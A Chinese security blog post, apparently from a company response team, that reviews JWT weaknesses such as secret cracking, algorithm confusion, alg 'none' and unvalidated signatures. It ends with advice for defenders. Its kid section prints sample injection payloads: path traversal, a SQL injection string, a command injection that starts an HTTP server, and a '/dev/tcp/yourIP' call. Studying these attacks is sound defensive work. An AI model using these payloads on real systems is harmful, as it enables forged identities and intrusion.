对JWT安全的一些思考
?前言
????“FSRC 经验分享”系列文章,旨在分享焦点安全工作过程中的经验和成果,包括但不限于漏洞分析、运营技巧、SDL 推行、等保合规、自研工具等。
????欢迎各位安全从业者持续关注~?
JWT(Json Web Token)是为了在网络应用环境间传递声明而执行的一种基于 JSON 的开放标准,特别适用于分布式站点的单点登录场景。最近连续做了两个用 JWT 服务的项目安全评估,对其也有了些许思考。尽管 JWT 着实规避了一部分安全风险,但由于配置问题也可能带来新的风险,因此通过这篇文章来记录部分 JWT 可能存在的安全问题。
1Session-Cookie 与 Token?Auth 的对比
传统的 Session-Cookie 是服务端、客户端分别存储 session、cookie 的认证,而 Token Auth 是把 token 完全交给客户端,依赖算法实现认证。
看起来服务端解放了,再也不用保存会话,但从这里可以看出?JWT?是完全依赖算法的,算法的健壮性决定了?JWT?的健壮性(这也是为很多人所诟病的问题)。
JWT 的其余介绍官网上已经很详尽了,任何疑问可以参考 https://jwt.io/。
2JWT?攻击手法
? ??
曾经在一次比赛里碰到的?JWT?的题目,其中一步就是破解?JWT?使用的算法。针对?JWT?的 header 中的算法爆破 sig 所用的 secret。??
根据?JWT?支持的算法可以分为两种算法破解形式,针对对称加密的破解和非对称加密的破解。
0x01对称加密
例如 HS256(HMAC-SHA256),依赖于 secret 的健壮性,碰撞方面 hashcat 一直有很好的表现。
附上 hashcat 手册https://hashcat.net/wiki/。
例如 RS256(RSA-SHA256)?、 ES256(ECC-SHA256),本质上是对应算法的破解,例如 RS256 攻击本质上是 RSA 的攻击,是个大整数素数分解问题。ES256 攻击本质上是 ECC 的攻击,是个椭圆曲线的问题。
CVE-2016-10555,这也是另一道题目所涉及的内容,原本启用非对称加密(如 RS256 算法)时,通过构造 header 中算法为对称加密(如 HS256),后端会使用非对称加密的公钥作为对称加密的 secret,因此攻击者可以轻松构造任意签名。
CVE-2018-0114,攻击者覆盖 header 中预设公钥,使用对应密钥实现伪造任意签名。
{"typ": "JWT","alg": "RS256","jwk": {"kty": "RSA","kid": "TEST","use": "sig","e": "AQAB","n": "xxx"}}
或在使用 JKU、X5U 时,不限制获取密钥对的 uri 可导致绑定攻击者预设的密钥对,从而伪造任意签名。
当服务端配置不当的时候,可能出现不校验 JWT 签名的场景。删除 JWT 的 signature 后,若服务器仍接受 token,那么就可以伪造任意身份了。
规范示例:

或者手动调整 JWT 的 header,将算法改为 none,构造后提交:
{ "alg": "none", "typ": "JWT" }规范示例:

JWT 的 payload 不应包含任何敏感信息(如密码),如果 base64 decode 后包含敏感信息,就可以加以利用。
另类似 CVE-2019-7644,在 customErrors 配置不当时,无效签名返回的报错信息包含正确签名:
规范示例:

当使用 KID 时,根据不同用途会导致不同危害:
0x01目录穿越
当 KID?用于在系统中指定 secret /?公钥文件位置时,攻击者结合目录穿越指定可控文件作为 secret /?公钥,从而伪造任意签名
"kid": "../../uploads/xxx""kid": "../../dev/null"
0x02SQL注入
当 KID 用于在数据库中检索密钥时。攻击者可控制 kid 实现 SQL注入
"kid":"baconHacked' UNION SELECT 'key';--"0x03命令注入
当 KID 参数直接进入不安全代码流时,能导致 RCE
"kid":"/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&";0x04SSRF
甚至能 ssrf
"kid":"/dev/tcp/yourIP/yourPort"3经验总结
JWT?用的好不好,安不安全,很大程度上取决于开发者的配置是否规范,不安全的配置问题也连续登上 OWASP top10 的榜单。甲方在做安全开发基线的时候,应该明确出 JWT 相关的的规范配置要求,这样可以有效地缓解这部分安全风险。针对?JWT?,白帽子们也可以选用或开发自动化工具,这样便能够更好地解放人力。? ?
4免责声明
?本文中提到的相关资源已在网络公布,仅供研究学习使用,请遵守《网络安全法》等相关法律法规。
5参考资料
JWT 攻击技巧
https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
JWT 官方网站
https://jwt.io/
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号随时掌握互联网精彩
- 1 习近平将发表二〇二六年新年贺词 7904141
- 2 2026年国补政策来了 7808738
- 3 东部战区:开火!开火!全部命中! 7712893
- 4 2026年这些民生政策将惠及百姓 7616985
- 5 小学食堂米线过期2.5小时被罚5万 7519709
- 6 解放军喊话驱离台军 原声曝光 7428214
- 7 为博流量直播踩烈士陵墓?绝不姑息 7327605
- 8 每月最高800元!多地发放养老消费券 7238391
- 9 数字人民币升级 1月1日起将计付利息 7141831
- 10 2026年1月1日起 一批新规将施行 7040675








焦点安全应急响应中心
